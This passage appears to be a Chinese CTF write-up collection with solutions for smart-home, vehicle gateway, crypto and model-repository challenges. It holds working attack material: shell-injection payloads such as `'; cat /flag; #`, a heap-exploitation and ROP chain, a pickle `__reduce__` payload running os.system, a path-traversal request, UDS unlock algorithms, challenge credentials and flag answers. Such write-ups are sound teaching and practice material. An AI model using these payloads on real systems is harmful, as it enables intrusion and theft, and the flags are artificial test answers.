sess.get("bound_id") != "ops": return _ERR if self._renews(sess) >= 16: return _ERR if act == "commit": if sess is None: return _ERR rec = msg.get("record") if rec is None: return None owned = sess.get("mig_records") or [] if isinstance(rec, bool): return _ERR if isinstance(rec, int) and 0 <= rec < len(owned): return None if rec in owned: return None return _ERR return None def handle(self, msg): if isinstance(msg, dict): op, sid = msg.get("op"), msg.get("sid") sess = self.sessions.get(sid) if sid is not None else None if op == "RETRY": r = self._retry(msg, sess) if r is not None: return r elif op == "RENEW": if sess is not None and self._renews(sess) >= 15: return _ERR elif op == "MIGRATE": d = self._migrate(msg, sess) if d is not None: return d return super().handle(msg)判定器回归反馈
修复有效:合法流与 ops 迁移通过,攻击链被阻断,+20,碎片ho_1nv4r14nt_r3st0r3d。收官:五阶段进度按实例全局记,但完整 flag 在「该次提交使五阶段首次齐套」时随
SUBMIT_RESULT下发。最后用一条连接按顺序交一遍:PYTHONs = tls_connect(HOST, 58999) def call(obj): ... # JSON-lines 收发 call({"op": "x"}) # 读预算 call({"op": "SUBMIT", **json.load(open("stage1.json"))}) call({"op": "SUBMIT", **json.load(open("stage2b.json"))}) call({"op": "SUBMIT", **json.load(open("stage3b.json"))}) call({"op": "SUBMIT", "stage": 4, "source_b64": b64(open("solve_s4.py","rb").read())}) call({"op": "SUBMIT", "stage": 5, "source_b64": b64(open("mod_fix.py","rb").read())})
Flag
TEXT
flag{sbPyxtm7Y4NdTdn4gQXlZ1drCAMAfBaxEbTme85c}
Undercurrent
题意
住宅入口摄像头和智能锁出现无法解释的开锁活动,需要调查视频流、消息总线和家庭自动化,恢复家庭系统中存储的唯一凭据。题目只给 http wv1jsdfx.nestctf.cyberpeace.cn 58080,没有附件。
分析
GET /health 直接暴露了消息总线的接入方式:
JSON
{"ok":true,"service":"stream-test","mqtt_websocket_path":"/mqtt",
"mqtt_subprotocol":"mqtt","event_topic_pattern":"frigate/+/events",
"telemetry_topic_pattern":"home/+/telemetry"}
MQTT 走 WebSocket:
ws://wv1jsdfx.nestctf.cyberpeace.cn:58080/mqtt,子协议mqtt。事件主题
frigate/<camera>/events,遥测主题home/<home_id>/telemetry。匿名 CONNECT 成功(MQTT 3.1.1/5.0,Mosquitto),订阅
#得到 SUBACK0。
用 MQTT v5 的 PUBACK reason code 探测写权限:
主题 | reason code |
|---|---|
|
|
|
|
|
|
|
|
即匿名客户端只能向 frigate/+/events 发布,但可以读取 #。这就是注入点。
漏洞链:
伪造摄像头事件。向
frigate/front_door/events发布一条完整的 Frigatenew事件(after.camera、after.label、after.snapshot等字段)。Home Assistant 的自动化person_detect_unlock订阅frigate/+/events,把trigger.payload_json.after.camera传给shell_command.smartlock_unlock,再把命令输出发布到home/<home_id>/telemetry。单引号命令拼接。自动化配置:
YAMLshell_command: smartlock_unlock: "/config/smartlock.sh \"{{ camera }}\""smartlock.sh先做黑名单过滤(rm、nc、bash、sh、curl、wget、telnet、python、perl),再拼接命令:SHcmd="/usr/bin/smartlockctl unlock --camera '$camera'" output=$(sh -c "$cmd" 2>&1 || true)摄像头名被原样放进单引号,没有转义。把
after.camera设为front_door'; cat /flag; #,实际执行:SHsmartlockctl unlock --camera 'front_door'; cat /flag; #'单引号闭合后执行
cat /flag,#注释掉尾部引号。回传。
publish_mqtt.py以ha-publisher身份把 stdout 发布到home/58b756d05779246f/telemetry,订阅#即可读取。
求解步骤
连接 ws://.../mqtt(子协议 mqtt),CONNECT 后订阅 #,然后向 frigate/front_door/events 发布(QoS 0/1 均可):
JSON
{
"type": "new",
"before": {},
"after": {
"id": "<now>-<rand>",
"camera": "front_door'; cat /flag; #",
"frame_time": 0,
"snapshot_time": 0,
"label": "person",
"sub_label": null,
"top_score": 0.99,
"false_positive": false,
"start_time": 0,
"end_time": null,
"score": 0.99,
"box": [100, 120, 340, 520],
"area": 96000,
"ratio": 0.5,
"region": [0, 0, 640, 640],
"stationary": false,
"motionless_count": 0,
"position_changes": 1,
"current_zones": ["entrance"],
"entered_zones": ["entrance"],
"has_clip": true,
"has_snapshot": true,
"active": true,
"attributes": {},
"current_attributes": [],
"snapshot": {
"frame_time": 0,
"box": [100, 120, 340, 520],
"area": 96000,
"region": [0, 0, 640, 640],
"score": 0.99,
"attributes": []
}
}
}
遥测返回:
JSON
{"camera": "front_door'; cat /flag; #",
"stdout": "unlock-ok:unlock --camera front_door\nflag{iEmGfwydlC3JEeVsP7tjUyCf82jmOVLI3xeeB7PX}",
"stderr": ""}
Flag
TEXT
flag{iEmGfwydlC3JEeVsP7tjUyCf82jmOVLI3xeeB7PX}
Pending Review
题意
远程服务 http://lwsajzjr.nestctf.cyberpeace.cn:58080/ 是一个用 C 写的设备网关(BenchLink/2.4),前端由 Caddy 反向代理。附件 httpd.zip 给出 httpd(PIE、stripped)、libc.so.6 与 ld-linux-x86-64.so.2。
目标是拿到容器里的真实 flag:先进入管理员会话语境,再拿到 control_authorized,最后利用工作单(job)note 的 UAF 做堆利用,劫持 printf 函数表触发 FSOP,用 ROP 读 /flag、/app/flag 并把 flag 直接写回 HTTP 响应。
漏洞分析
未授权配置备份:
GET /cgi-bin/config-backup.bin不校验 Cookie,直接返回/app/device.cfg,其中含admin_user=operator、admin_password=PlantOps-4hM7sQ29。dispatch 授权绕过:
GET /api/service/dispatch返回十六进制review_envelope,翻转第 27 字节后原样POST /api/service/dispatch(text/plain)即返回{"status":"field_service_authorized","control_authorized":true}。job note 的 UAF:
POST /api/service/jobs分配 0x90/0x120/0x500 三档 note;cancel会freenote,但GET /api/service/jobs/<id>/receipt仍读取 note 前 8 字节并按record_tag返回;POST /api/service/jobs/<id>/revision还能往已释放的 chunk 写 3 字节。free 时 tcache 写入的 safe-linking 值因此可读,revision 则可改写 next 指针做 tcache poisoning。任意地址写:把 tcache next 链毒到
__printf_arginfo_table(libc+0x1d4890)和__printf_function_table(libc+0x1d5980),再用一次 0x120 的 create 把伪造表指针写进去。之后任意带%s的响应(0x50a0 的响应拼装函数)都会以_IO_flush_all作为%s的处理函数。FSOP:
_IO_flush_all遍历_IO_list_all,伪造 FILE 的_wide_data/vtable走到_IO_wfile_overflow -> _IO_wdoallocbuf -> _doallocate,把_doallocate换成setcontext,用ucontext完成栈迁移与 ROP。seccomp:
httpd启动时安装 19 条 BPF,默认放行,只对execve(59)、execveat(322)、sendfile(40)、splice(275)、vmsplice(278)、tee(276)、copy_file_range(326)返回 EPERM。setcontext里的rt_sigprocmask不受影响;但execve不可用,所以必须走 ORW。
利用细节
泄漏:先泄漏 libc 与堆页。
申请两个 0x500 note,cancel 第一个后 receipt 得到 unsorted bin 指针,
libc = leak - 0x1d3cc0。cancel 一个 0x120 note(tcache 为空时首次 free),receipt 得到
chunk >> 12,即堆页。布局固定:
F0 = page<<12 + 0x480,0x120 chunk 步长0x130;L2 = page<<12 + 0x10b0(0x500 note);A = page<<12 + 0x15c0(0x500 note,arginfo 表)。
伪造对象:
F0:假 FILE + setcontext ucontext。_wide_data = A,_mode = 1,vtable = _IO_wfile_jumps,_lock = F0+0x100;[F0+0xa0] = A、[F0+0xa8] = pop rsp; ret、[F0+0xe0] = A+0x480(全零 fpstate)。F1:0x120 全零。F2:wide vtable,[F2+0x68] = setcontext。A:前 0x400 字节填xor eax,eax; ret作为 arginfo 表项;_IO_write_base = 0、_IO_write_ptr = 1;_wide_vtable = F2;A+0x100放 ROP 链,A+0x340放"/flag",A+0x350放"/app/flag"。L2:假函数表,[L2+0x398] = _IO_flush_all(%s的表项);L2+0x3d0放 HTTP 响应头。
任意写:
第一次 poison:把 0x120 的 tcache next 改成
F0,连续 create 弹出后把F0写进_IO_list_all。第二次/第三次 poison:用 K 链把
A写到__printf_arginfo_table、把L2写到__printf_function_table。最后一次 create 的 note 为
p64(L2):这次 malloc 落在__printf_function_table,note 内容即伪表指针,随后该请求的响应拼装函数用%s触发_IO_flush_all。
ROP 与回传:
TEXT
open("/flag", 0) -> 7
open("/app/flag", 0) -> 8
write(1, "HTTP/1.1 200 OK...Content-Length: 512...", len)
read(7, A+0x3d0, 0x100); write(1, A+0x3d0, 0x100)
read(8, A+0x3d0, 0x100); write(1, A+0x3d0, 0x100)
exit_group(0)
fd 布局如下:httpd 启动时 dup(1)、dup(2) 分别得到 4、5(保存原 stdout/stderr),监听 socket 是 3;accept 得到 6,并在处理请求时 dup2(client,1)、dup2(client,2)。所以 ROP 里两个 open 得到 7、8,而写 fd 1 就是写客户端连接。Caddy 会把伪造的完整 HTTP 响应原样转发给客户端,flag 就在响应体里;这样也绕过了容器重启导致的文件重置问题。
验证
本地用相同 fd 布局复现:服务端
dup(1)/dup(2)得到 4/5,accept 得到 6,ROP 读/app/flag并写 fd 1,原始连接收到完整 200 响应与LOCALFLAG{orw}。远程一次完整利用成功,Caddy 转发的响应体为真实 flag。
利用脚本:
PendingReview/src/exploit.py(--host ... --port 58080 --user operator --password PlantOps-4hM7sQ29 --delta 0)。
Flag
TEXT
flag{DOxfLafg9S4wD8XOBocaIuyosq7FouGStrnLfaYT}
UAE
题意
附件给出 32×32 的对抗样本 x_adv.npy、干净参考图 car.png、CIFAR-10 分类器 classifier.pt / classifier.py,以及扩散采样器 sampler.py 和 config.json。config.json 说明:
生成模型为
google/ddpm-cifar10-32,采样器为 guided DDIM(eta=0),steps=1000;guidance 为
x0_logprob,scale=3.0;初始噪声
x_T = G + P:G为 Gaussian(seed=555);P为逐像素 ±1 mask(seed=20261012) 调制后的 QR v2-H 25×25;625 个模块按 row-major 展平,前 256 个放入 ch0,接着 256 个放入 ch1,最后 113 个放入 ch2;每个模块对应一个 2×2 block,block 位置为
(local//16, local%16);dark=-amp、light=+amp,amp=0.65,功能图形 ×1.25。
目标是先从 x_adv 反演出 x_T,再减掉 G、解调 mask,读出 QR 暗号。
分析
x_adv与car.png非常接近(PSNR≈35.9 dB,相关系数≈0.9986),说明这是“干净图 → 反演 → 引导采样”的扩散对抗流程,payload 被放进了初始噪声。用
classifier.pt对x_adv分类,argmax=3(cat),因此反演时取target=3、scale=3.0。sampler.py提供invert_fixedpoint:把每个 DDIM 步写成x_prev = A·x_t + B·eps_hat(x_t,t),再对x_t做定点迭代。迭代次数越多x_T越准,代价线性增加;本题iters=3的残差约 0.2,已远小于 payload 幅度 0.65/0.8125,block 平均后符号仍然稳定。G与mask的 RNG 约定要对上。实测 torch CPU RNG 的候选都对不上,而 numpydefault_rng的残差最集中:
PYTHON
G = np.random.default_rng(555).standard_normal((3, 32, 32))
M = np.random.default_rng(20261012).integers(0, 2, (3, 32, 32)) * 2 - 1
用这组 G/M 重建出的 25×25 QR 的功能图形(finder/timing/alignment)匹配率为 1.000,反证 RNG 约定正确。
求解步骤
准备模型:
google/ddpm-cifar10-32的UNet2DModel权重不在附件里,需要单独下载(HF 不可达时可用 ModelScope 的google/ddpm-cifar10-32仓库)。把config.json放到权重同目录,UNet2DModel.from_pretrained即可加载。构造
DDPMScheduler(num_train_timesteps=1000, beta_start=1e-4, beta_end=0.02, beta_schedule="linear", clip_sample=True, variance_type="fixed_large")和GuidedDDIM(unet, scheduler, "cpu", num_train=1000, steps=1000)。加载分类器,确认
target=3。反演:
PYTHONx_adv = torch.from_numpy(np.load("x_adv.npy")).float()[None] guide = {"clf": clf, "target": 3, "scale": 3.0} x_T = sampler.invert_fixedpoint(x_adv, guidance=guide, iters=3)[0].numpy()去载波、解调、按 block 平均:
PYTHONG = np.random.default_rng(555).standard_normal((3, 32, 32)) M = np.random.default_rng(20261012).integers(0, 2, (3, 32, 32)) * 2 - 1 S = ((x_T - G) * M).reshape(3, 16, 2, 16, 2).mean(axis=(2, 4))组装 QR(
S<0记为 dark):PYTHONqr = np.zeros((25, 25), dtype=bool) for m in range(625): ch, local = divmod(m, 256) br, bc = divmod(local, 16) qr.flat[m] = S[ch, br, bc] < 0渲染时补 4 模块静区(否则 OpenCV 检测不到),再解码:
PYTHONimg = (~qr).astype(np.uint8) * 255 img = np.pad(img, 4, constant_values=255) img = np.kron(img, np.ones((20, 20), np.uint8)) print(cv2.QRCodeDetector().detectAndDecode(img)[0]) # dr34m_0f_n01s3
验证
25×25 QR 的 finder/timing/alignment 功能图形匹配率 1.000;
cv2.QRCodeDetector与cv2.QRCodeDetectorAruco均解码出dr34m_0f_n01s3;平台确认。
Flag
TEXT
flag{dr34m_0f_n01s3}
Bootleg Update
题意
目标 http://uary9a7s.nestctf.cyberpeace.cn:58080 是 MimicIVI 车队服务控制台。CMU 4.1.3 OTA 升级后,Secondary ECU(VIP-CTRL-07)的镜像身份与 Director/Image 仓库目标不一致。题目要求调查 identity mismatch,并从升级证据中恢复 secret。
分析
登录接口:
HTTP
POST /api/v1/login
Content-Type: application/json
{"username":"service.engineer@mimic-ivi.test","password":"Mimic-Update-2026"}
返回 Bearer token 后,GET /api/v1/workspace 给出案件、车辆、部署、发布和证据摘要。证据字段:
JSON
{
"ecu_serial": "VIP-CTRL-07",
"hardware_id": "VIP-HW-R2",
"partition": "VIP_B",
"release_counter": 42,
"director_version": 42,
"image_version": 117,
"expected_sha256": "5f8d2f4c227c8997735dc751acb59611eb479a68953f694f666bf54aa90e9c24",
"reported_sha256": "980810070340433f97df7cba1a270da3f220aa2206d38a3fc2f3407d5f6992ba",
"identity_match": false,
"target_name": "vip/VIP-CTRL-07/vip-fw-2.8.6.bin"
}
Director 和 Image 仓库都认为目标镜像的 SHA-256 是 5f8d...;车辆实际上报的 VIP_B 镜像 SHA-256 是 9808...;升级却“成功”了,说明 Secondary ECU 的校验路径被降级/绕过。
控制台里还有一个“Offline media inspection”功能,默认扫描 /app/public/sample_update.up。服务端源码:
PYTHON
command = "unzip -l '" + media_path + "'"
result = subprocess.run(
command, shell=True, cwd=STATE, stdout=subprocess.PIPE,
stderr=subprocess.STDOUT, timeout=4, check=False
)
media_path 被直接拼进 shell 命令,只用了单引号包裹。虽然后面有后缀检查:
PYTHON
if len(media_path) > 1024 or not media_path.endswith(".up"):
return self.send_json(400, {"error": "update_path_must_end_in_up"})
但只需要让整个 payload 以 .up 结尾即可。用单引号闭合前面的字符串,执行命令后再 echo '.up 把后缀补回来:
TEXT
/app/public/sample_update.up'; id; echo '.up
服务端实际执行:
SH
unzip -l '/app/public/sample_update.up'; id; echo '.up'
返回:
TEXT
/bin/sh: 1: unzip: Permission denied
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
.up
新容器里 unzip 恰好没有执行权限,反而直接把“这是 shell 拼接”暴露了出来。至此拿到 ctf 用户的命令执行。扫描接口有 CALLS[client] > 96 的每 IP 配额,计数在进程内存里,重启容器会重置。
取证:/app/incident/。 通过命令注入列目录,发现:
TEXT
director_targets.json
image_targets.json
vehicle_version_manifest.json
update_engine.log
emmc_snapshot.bin 65536 bytes
field_4.1.3.bup 24832 bytes
factory_4.1.2.bup 20672 bytes
update_guard 41760 bytes (AArch64 ELF)
把关键文件 base64 下来,同时在 /app/server.py、/app/workspace.py 里确认 API 逻辑,在 /home/ctf/pushflag.sh 里找到出题人写入 flag 的脚本。生成算法就在这里。
eMMC 分区图。 控制台的 partition_map.md 给出 64KB eMMC 快照布局:
TEXT
BOOTCTRL 0x0000 - 0x1000 0x40-byte redundant boot-control records
IVI_A 0x1000 - 0x4000
IVI_B 0x4000 - 0x7000
VIP_A 0x7000 - 0x9000
VIP_B 0x9000 - 0xB000
NAV_ASSET 0xB000 - 0xC000
VERSION_JOURNAL 0xC000 - 0xD000 0x20-byte append-only entries
spare 0xD000 - 0x10000
BOOTCTRL 每条 0x40 字节,前 32 字节有效,最后 4 字节是 CRC32(前 28 字节):
TEXT
BTCT | sequence | slot | journal_head | timestamp | nonce | ... | crc32
VERSION_JOURNAL 每条 0x20 字节,同样以 CRC32 结尾:
TEXT
VREC | sequence | type | slot | component_version | release_counter | nonce | crc32
从快照中解析出的有效记录:
TEXT
BOOTCTRL: sequence=88 (0x58), slot=B, nonce=0x934b00c3
VERSION_JOURNAL: sequence=5, slot=B, version=0x00020806,
release=42, nonce=0xd4608d68
VIP 分区偏移 0x280(Director target 里的 diagnostic_offset: 640)有一个 DREC 记录:
TEXT
DREC | schema=1 | length | version | nonce | crc32 | ciphertext
VIP_B 的记录头:
TEXT
schema = 1
length = 95
version = 0x00020806
nonce = 0xc0dec0de
crc32(plaintext)= 0xef6075d6
field_4.1.3.bup 里的 vip_b 分区和快照 VIP_B 完全一致(SHA-256 都是 9808...),说明现场升级包确实携带了 bootleg 镜像。
/home/ctf/pushflag.sh 是出题人写入 flag 的脚本,里面有完整的 DREC 生成算法:
PYTHON
def diag_crypt(data, version, nonce, release,
ecu_serial, install_binding):
state = (
nonce
^ version
^ 0x6D2B79F5
^ crc32(ecu_serial.encode("ascii"))
^ rol32(release, 5)
^ install_binding
) & MASK32
output = bytearray()
for index, value in enumerate(data):
lane = index & 15
key = rol8(
DIAG_BOX[lane] ^ ((0x5D + 11 * lane) & 0xFF),
lane % 7,
)
state ^= (state << 13) & MASK32
state ^= state >> 17
state ^= (state << 5) & MASK32
state = (state + key + index * 0x9E37) & MASK32
stream = (state >> ((index & 3) * 8)) & 0xFF
output.append(value ^ stream ^ rol8(key, index & 7))
return bytes(output)
其中 DIAG_BOX = bytes.fromhex("819fb429ed630ad51c72c84ea638f157")。install_binding 来自 BOOTCTRL 和 VERSION_JOURNAL 里的两个 nonce:
PYTHON
binding_seed = sha256(b"bootleg-install-binding\0" + flag_bytes).digest()
boot_nonce, journal_nonce = unpack("<II", binding_seed)
install_binding = rol32(
boot_nonce ^ journal_nonce ^ boot_sequence ^ journal_sequence,
11,
)
flag 被绑定进 boot control 和 version journal 的 nonce,再用来加密 DREC 明文。明文格式:
TEXT
VIP_DIAG|ecu=aux-ctrl|slot=B|result=AUTH_GAP|<flag>|end
求解步骤
登录控制台,确认
SC-2026-0918-07的 Secondary ECU identity mismatch。发现
/api/v1/update/scan使用shell=True且只给media_path套了单引号。用
'闭合字符串并执行命令,拿到ctf用户 RCE:TEXT/app/public/sample_update.up'; ls -la /app/incident; echo '.up /app/public/sample_update.up'; base64 -w0 /app/incident/emmc_snapshot.bin; echo; echo '.up从
/app/incident/取emmc_snapshot.bin、field_4.1.3.bup和pushflag.sh。解析 BOOTCTRL/VERSION_JOURNAL 的 nonce 和 sequence,计算
install_binding:TEXTboot_sequence = 88 boot_nonce = 0x934b00c3 journal_sequence = 5 journal_nonce = 0xd4608d68 install_binding = rol32( 0x934b00c3 ^ 0xd4608d68 ^ 88 ^ 5, 11, ) = 0x5c6fb239用
diag_crypt解密 VIP_B + 0x280 的 DREC:PYTHONplaintext = diag_crypt( ciphertext, version=0x00020806, nonce=0xc0dec0de, release=42, ecu_serial="VIP-CTRL-07", install_binding=0x5c6fb239, )得到:
TEXTVIP_DIAG|ecu=aux-ctrl|slot=B|result=AUTH_GAP|flag{uHGMfpZ6cnjUa2WxEKjwH7DBPOf35OFndEONCXi3}|endCRC32 校验:
crc32(plaintext) = 0xef6075d6,与 DREC 头部一致。同一份数据从emmc_snapshot.bin和field_4.1.3.bup解密都得到相同结果。
Flag
TEXT
flag{uHGMfpZ6cnjUa2WxEKjwH7DBPOf35OFndEONCXi3}
SilGate
题意
目标 :58999。完整链:TLS+DoIP 封装 → UDS 任意读拖镜像 → 逆向 legacy 分发器与两套 seed/key → 解锁 → 激活 → 刷写自写例程 → mprotect 开状态页 → 异或出明文。
分析
直接发 DoIP 即断 → 对面是 TLS 记录层;Python
ssl还须带 SNI(server_hostname=HOST),否则UNEXPECTED_EOF(极易误判成“不是 TLS”)。DoIP 头 8 字节
[ver][~ver][type u16][len u32],诊断0x8001,测试仪0x0E00/ECU0x0E80;0x0005路由激活默认类型即成功。车辆识别暴露SEC-GATE v2.3.1 (legacy-compat build)。
0x23 任意读:
[0x23][addrLenFmt][addr][size],size 字段宽度必须跟addrLenFmt高半字节一致,否则静默回63。0x14(4 字节)是相对共享库 4GB 窗口的偏移;0x18(8 字节)是进程真实虚拟地址(容器没开 ASLR)。从栈区捞0x5577...指针往下按页扫\x7fELF得 PIE base0x5577efed2000,单次上限0x800,15 秒拖完 192KB。
静态分析:
flag 读取:
getenv("SILGATE_FLAG")→/home/ctf/flag→ 写死 dev flag;真实长度 46 存于0x90c8。状态页布局:+0x20起 0xA0 随机垫、+0xC0起 0xA0 密文 = flag XOR 垫;初始化后mprotect(PROT_NONE)。legacy 通道:DoIP 版本字节写
0x02/0xFD切到 0x6045 分发器(不走 ISO-TP),只认0x3E/0x81/0x27。0x27 16 位 seed:LFSR
new = old>>1; if(old&1) new ^= 0xB400;key:x=(seed<<7)^seed; x^=x>>9; x^=x<<8; key=(0x9E37x ^ 0x5A5A ^ 0x4B37)&0xffff,key 大端发送。失败 >3 次有 5 秒闸门。
产线激活:
0x10 0x02需安全位(来自 0x27)+ 产线标志(路由激活凭据SILG1)→ 进入编程会话。例程握手
0x31 0x0203:24 位 seed,key =(((ror16(seed,3)*0x343FD + 0x269EC3) & 0xffffffff) ^ seed),大端 4 字节。
刷写与拿 flag:
0x34下载地址必须落在mmap(0x2000, MAP_32BIT)缓冲区内;例程封装RTN0+ CRC16-CCITT;0x36单帧传输避开流控。字节过滤器:
CC/F4/0F 05/0F 34/CD 80(含 movabs 立即数内也不能出现)。绕过“正常”的 xorshift 混淆路线,直接让例程调
mprotect@plt(base+0x2360)把状态页改 RWX(34 字节,无禁用字节),再用0x23读 pad 与密文异或:
PYTHON
pad = abs_read(state + 0x20, 0xA0)[1:]
ct = abs_read(state + 0xC0, 0xA0)[1:]
flag = bytes(ct[i] ^ pad[i] for i in range(46))
# flag{7fnxZHblhwDmD9b2nknsQGo5fKNUEUsv2Zn61Qvd}
坑:GOT 区写标记会打死例程线程(RELRO 只读);例程线程 FS 指向栈上假 TCB,勿碰 TLS。
求解步骤
用 TLS + SNI 连接 58999,发 DoIP 路由激活(
0x0005),读车辆识别确认SEC-GATE v2.3.1。用
0x23任意读,先0x14相对偏移扫共享库,再0x18读栈指针、按页扫 ELF,恢复 PIE base 并拖下 192KB 镜像。静态分析找到 flag 状态页、legacy 分发器、两套 seed/key 与
mprotect@plt地址。通过 legacy 0x27 解锁、
SILG1激活产线、0x31 0x0203例程握手。用
0x34/0x36下载 34 字节例程,调用mprotect把状态页改成 RWX。用
0x23读 pad 与密文,逐字节异或,得到 46 字节 flag。
Flag
TEXT
flag{7fnxZHblhwDmD9b2nknsQGo5fKNUEUsv2Zn61Qvd}
Premaster
题意
服务端对每个连接生成 PKCS#1 v1.5 type-02 填充的 flag 密文,给 c0 与扫出来的首个合法乘数 s0;之后是完整填充校验的 ok/bad oracle,2048 位、e=65537。要求恢复明文。
分析
bad 不等于区间外。 ok ⟹ 2B ≤ x < 3B 永远成立;但 x 在区间内而内部字节不合规(前 8 个 PS 字节有零 / 无 0x00 分隔符)同样回 bad。2048 位下假阴性率约 40%(512 位小密钥高达 81%,本地复现必须用 2048 位,否则像“代码写错了”)。整个攻击只用 ok,把 bad 当噪声。
把 216 次网络查询换成 216 次本地加法。固定 s 时合法 m 集合是一串宽 B/s、间距 n/s 的条带;取 s ≈ 2B/W(W 为当前区间宽)则间距 >> W,[a,b] 内最多落进一条条带。由于 a 已知,“a 是否在条带里”可本地判定:
TEXT
ρ = (a·s − 2B) mod n < B (前缀带)
且 s 加 1 时 ρ 只加 a——一步 2048 位加法约 0.3µs,扫 2^16 步 ≈ 20ms,比一次网络 RTT 还便宜。本地命中后只用这一个 s 问一次;ok 则收缩到条带交集,bad 换 s 继续。
工程细节:
查询预算:期望信息 0.32 bit/query(0.6 假阴性折扣 × log2(W/I),在 I/W=1/e 取极大);交集宽过滤在
[W/64, W/2],太宽(<1 bit 信息)直接跳过。批处理:每轮本地扫 16 个乘数一次发出(903 个 RTT 跑完)。
cursor必须从上轮最后一个s之后继续——若每轮同起点重扫,无ok的轮次会原样重发、攻击永久空转;cursor > 3·s_base时重置随机起点。s0陷阱:s0大时初始候选是几十个窄区间(B·s0/n个),效率掉一个量级 → 利用 oracle 无状态(c0可跨连接),重连到s0 约小于 1.5·n/B使初始区间恰好一个(约 2 次连接)。
求解步骤
连接服务,拿
c0与s0;若s0过大,重连换一个较小的s0。维护区间
[a,b],初始为[2B, 3B-1]。每轮取
s ≈ 2B/W,在本地用ρ = (a·s − 2B) mod n < B筛选候选;每 16 个候选批量发一次 oracle。收到
ok后,用该s的条带与当前区间求交,收缩[a,b];bad则继续扫下一个s,cursor从上轮末尾继续。区间宽度降到 1 时,
m = a,解出 flag。
结果
TEXT
14416 queries / 903 轮 / 411 秒(实测 0.14 bit/query)
flag{PqeofyEbsXdJ0Zbt0OcYu535YakEEP6HUJDvDAlJ}
没有“本地加法换 RTT”这一步,同样的问题需要 10^6 量级查询,远端根本跑不完。
Flag
TEXT
flag{PqeofyEbsXdJ0Zbt0OcYu535YakEEP6HUJDvDAlJ}
dropout
题意
题面只有 dropout,附件 samples.zip 内只有 samples.json:
q = 7681(素数),n = 32,m = 64A:64×32 矩阵,元素在Z_qb:64 维向量masked_update:56 个十六进制字符(28 字节)
分析
数据满足 LWE 形式:
TEXT
b = A·s + e (mod q)
A 满列秩(rank = 32):任取 32 行都能解出唯一的 s,但另外 32 行对不上,说明存在误差 e(对应题名里的 dropout 噪声)。
先判断 e 是否小。取 A 的左核(关系格):
TEXT
L = { c ∈ Z^64 : A^T c ≡ 0 (mod q) }
对任意 c ∈ L 有 c·b ≡ c·e (mod q)。用 LLL 求出 L 的短向量后,真实 b 在 10 个最短关系上的 |c·b| 之和约为 2183,而随机 b 约为 20000~29000,说明 e 确实很小;最终恢复出 e ∈ {-1,0,1}^64。
求解步骤
模
q高斯消元求A^T的核基C(32×64),即关系格L的基。构造
L⊥ = { x ∈ Z^64 : C x ≡ 0 (mod q) }。由C b = C e得e - b ∈ L⊥,问题化为在陪集b + L⊥中找最短向量(CVP)。Kannan 嵌入求 CVP:格基取
[L⊥ | 0],再加一行[b | 64];LLL 约减后,最后一维为±64的短向量就是e。恢复结果|e|² = 42(42 个非零项,取值 ±1)。回代解
A·s = b - e (mod q),得到 32 维二进制秘密s(12 个 1):TEXTs = 10000001000001100011101001110100masked_update为 28 字节。以s的 0/1 字节序列作为种子,取SHA256(bytes(s))作密钥流与masked_update异或,得到 flag。
恢复出的 (s, e) 满足全部 64 条方程,可作自检。
依赖与运行:
BASH
python3 -m venv .venv
.venv/bin/pip install fpylll cysignals
.venv/bin/python work/solve.py samples/samples.json
代码:
PYTHON
# 关系格 L 的核基 C
At = [[A[i][j] for i in range(m)] for j in range(n)]
Lrel = kernel_basis(At, q, m)
C = [[Lrel[i, j] for j in range(m)] for i in range(n)]
# L⊥ = {x : C x = 0 mod q}
Lperp = kernel_basis(C, q, m)
LLL.reduction(Lperp, delta=0.99)
# Kannan 嵌入:[Lperp | 0] 加一行 [b | 64]
B = IntegerMatrix(m + 1, m + 1)
for i in range(m):
for j in range(m):
B[i, j] = Lperp[i, j]
for j in range(m):
B[m, j] = b[j]
B[m, m] = 64
LLL.reduction(B, delta=0.99)
# 取最后一维为 ±64 的最短行作为 e
# 回代 + 解密
s = solve_mod(A, [(b[i] - e[i]) % q for i in range(m)], q)
ks = hashlib.sha256(bytes(s)).digest()
flag = bytes(x ^ y for x, y in zip(bytes.fromhex(masked_update), ks))
Flag
TEXT
flag{mask_seed_from_dropout}
Pickle-Me-Not
题意
ModelHub Trust Center 公开了 model_card.json、normal_reference.pt,但隔离区里的 quarantine_snapshot.pt 不公开。题目要求通过导入工单和重放接口读取隔离工件,分析快照里的遗留兼容 KDF,恢复被隔离的模型审查标记。
分析
工作区侦察 GET /api/v1/models 给出工件与接口提示:
model_card.json(public)、normal_reference.pt(public)quarantine_snapshot.pt(public: false,2.7 KB)artifact_preview.request_template = /api/v1/artifacts?path={object_key}gateway_transform = url-unquote、storage_transform = url-unquotepublic_namespace = repository:/public/
导入工单 GET /api/v1/import-jobs/IMP-2026-0917-017 返回 ticket_metadata_uri = repository:/quarantine/import_ticket.json,且 replay_enabled = true。
路径穿越读取隔离区 JSON。 因为网关和存储各做一次 URL 解码,%2e%2e%2f 会变成 ../:
HTTP
GET /api/v1/artifacts?path=%2e%2e%2fquarantine%2fimport_ticket.json
越出 public 命名空间读到 import_ticket.json:accepted_prefix = "LEGACY\n"、ticket = dd296c7ca80628161c717b865741341c。非 JSON 工件走该接口会被 json_artifact_path_rejected 拦下,二进制证据改用下一步。
重放接口任意 pickle 执行。 POST /api/v1/import-jobs/IMP-2026-0917-017/replay,body {"ticket": "dd296c...", "pickle_b64": base64(b"LEGACY\n" + pickle)}。worker 用 torch-2.5.1 的“遗留兼容性导入”反序列化,不做 pickle 限制:
PYTHON
class Evil:
def __reduce__(self):
return (eval, ("__import__('os').system('...')",))
即获得代码执行。用 RCE 以 base64 读出 /app/repository/quarantine/ 下全部文件:quarantine_snapshot.pt、import_diagnostics.ndjson、repository_manifest.json、model.safetensors.index.json、两个 model-0000N-of-00002.safetensors。
静态分析快照。 quarantine_snapshot.pt 是 modelhub-quarantine-v1 zip,data.pkl 中:
TEXT
import_guard = modelhub_compat.rebuild_legacy_token(
<data/2 视图>, 'legacy-tar-bridge/quarantine-17',
'6c6f61645f736166655f323032365f31', 89, 1611049545)
视图来自 data/2(ByteStorage,512 B):storage_offset=19、size=(4,32)、stride=(67,2),即 data/2[19 + i*67 + j*2] 的 4×32 字节。
按 KDF 解密(参数来自 import_diagnostics.ndjson):
TEXT
profile = mhkdf-sha256-v1
block_i = sha256(utf8(global|route_id|nonce|storage_key|peer_salt_hex) || counter_be32(i))
base = modelhub_compat.rebuild_legacy_token|legacy-tar-bridge/quarantine-17|
6c6f61645f736166655f323032365f31|2|69c429c475ee3c2c89aa14ae514d2c75
